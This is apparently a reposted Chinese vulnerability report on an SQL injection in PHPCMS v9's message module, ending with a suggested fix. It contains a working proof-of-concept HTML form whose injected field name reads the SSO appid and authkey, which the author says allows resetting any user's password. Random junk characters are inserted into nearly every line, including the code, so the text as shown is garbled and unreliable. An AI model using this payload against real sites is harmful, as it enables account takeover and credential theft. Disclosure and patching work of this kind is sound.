|
|
简要描述:
7 f+ o$ B# |& u' q' u
5 a; P0 [, D' Z1 M/ U第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。
/ {$ X+ N% {6 W: M$ p) _
) T/ N& d- ?0 m, q明天再更新下一个漏洞。( K! F- z8 i& d7 q1 u
详细说明:) R1 i% H$ N4 D2 M( k
在/phpcms9/phpcms/modules/message/index.php中有代码如下:; _8 W3 o. n$ A B+ E# ^( Z( F( G* T
0 G% h0 v& f, l6 J$messageid = $this->message_db->insert($_POST['info'],true);* a, p6 @! M8 L( [. b. x+ G7 H1 }
6 S4 {7 S! {4 g+ E9 _4 V
6 u# i" L9 B& y# |+ w/ T) y
insert方法是key value的,代码如下:4 L" }3 f( h" b( [
; {( ^! m$ M. F1 A/ Upublic function insert($data, $table, $return_insert_id = false, $replace = false) {
/ O' A/ C7 Z1 e" W& |3 V if(!is_array( $data ) || $table == '' || count($data) == 0) {: L* p4 S, v9 G9 ~0 @) M" W
return false;
7 y6 ~! n( D6 J8 S3 i! r e) s6 x }
7 M k$ a( ^* q: J1 \ $ [0 z9 u% w$ c* f( M. q
$fielddata = array_keys($data);
- j! i! q& Z; l! j& u+ P& a/ B $valuedata = array_values($data);- ?, Z# G1 o M Y" S
array_walk($fielddata, array($this, 'add_special_char'));( m0 n5 \5 s" f- b) t* |
array_walk($valuedata, array($this, 'escape_string'));
2 T. q, h# b$ E1 K) \ " R, b3 |) [. s! u0 A) q
$field = implode (',', $fielddata);2 ]: V8 ~" S- ~* ^5 U: k, o
$value = implode (',', $valuedata);
0 }9 [' K- l- I- N# z, F0 K' w, S1 l+ m- X& y' _
$cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO'; n7 v! O# z. C+ p8 I2 Q
$sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';# R' a9 B: D& m7 \
$return = $this->execute($sql);- `9 y# y4 E# N) d, q
return $return_insert_id ? $this->insert_id() : $return;
1 r& F/ [& D7 F, Z5 N% R9 `% ~ }
8 v! z' `# g; v1 C( M9 a4 f7 |8 F& b' A9 r* T @
# C |( S6 K6 D& a嗯,很遗憾的是
& [2 q# f% H1 U! e: P7 P$ [- |* I, S
array_walk($fielddata, array($this, 'add_special_char'));
! h, z; X8 r" j
( f9 ~7 x( m/ P3 V
' [ L' i: a0 V, \/ B) |; Z中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。# X5 y; E7 v( Q* O
2 L. R, M' e7 j: l$ a/ |
到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。 P- U. y" W3 _6 A7 t
H4 c& g& \1 D* f- E$ E2 n6 g9 h
漏洞证明:
4 M2 b' j( `5 E7 @读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。* y7 _# n0 P" A d$ N6 m$ @3 K% S
9 c- |" c& Y! |) R7 m7 O9 s6 F e
6 i- @/ M7 [3 j5 f表单如下:用户名什么的得自己改一改。0 q) I+ h4 U8 w, D8 {* I N
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">9 c) }6 h, ~/ i" }1 l U
<table width="100%" cellspacing="0" class="table_form">
& t2 n4 p0 t3 N2 W, @2 K# o3 D5 W<tr>! `3 m% M7 O; u6 k
<th>标 题:</th>
) u0 a: l% m! t7 y8 {<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh" class="input-text"/></td># E: u7 M; Y0 p8 Q3 o' p" h
</tr>
% W e, A6 K \+ X1 Y. ~$ \<tr>; w# b) k- g8 ?
<th>内 容:</th>
3 O1 ~/ u' Q; _<td><textarea name="info[content]" id="con" rows="5" cols="50"></textarea></td>
+ U. c' ]4 E5 ?% h m6 V, [+ h9 X</tr>
/ s+ `1 n h; ?7 m+ {1 Z1 n" b<input type="hidden" name="info[replyid]" value="2" /> & U+ P7 l2 K# q! l! {2 A7 E `' L
<input type="hidden" name="info[send_to_id]" value="cc" /> e! a! n- G" x" L j
<input type="hidden" name="info[send_from_id]" value="hh">6 u) ]; N4 b( o9 b. o: e* T4 e9 C
<!-- 漏洞的利用重点在这里开始 -->
3 s- m& V) C% C- V' L<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" /> 6 n0 S! r, V$ y* U v
<!-- 漏洞的利用重点在这里结束 -->! U! I7 h6 O* `
<tr>
5 O, _% |. d" K<th>验证码:</th>5 P7 ?7 ]9 d4 ]* X0 `+ D5 I" q) G
<td><input name="code" type="text" id="code" size="10" class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>; d0 x4 _& L& A
</tr>* Y7 I1 P% }2 y9 _' P- {2 Q7 u& Y
<tr>8 ?9 V7 t/ V/ V4 Q6 v! A5 ]
<td></td>2 o1 w. [3 B* U8 T
<td colspan="2"><label>2 r% X9 D& B) `4 t* e8 |9 A
<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>. m! P. O; u7 J$ c# }
</label></td>
' {7 N9 ^: U# ^- a" m! `</tr>
2 a9 c* x; l- w5 B; b! U5 X</table>/ a; H: t: R& R# p) \% }, Q
</form> d9 d- [& O9 w/ j) p+ e" F
在add_special_char函数内对key做过滤就可以了。& ~! g! q0 r+ h
' Z. @( u0 @* P+ b1 M# i3 }' y3 _( E/ F% I g+ O( }3 f2 s# q
9 ]$ k( G7 y$ g* K8 ^& X
|
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|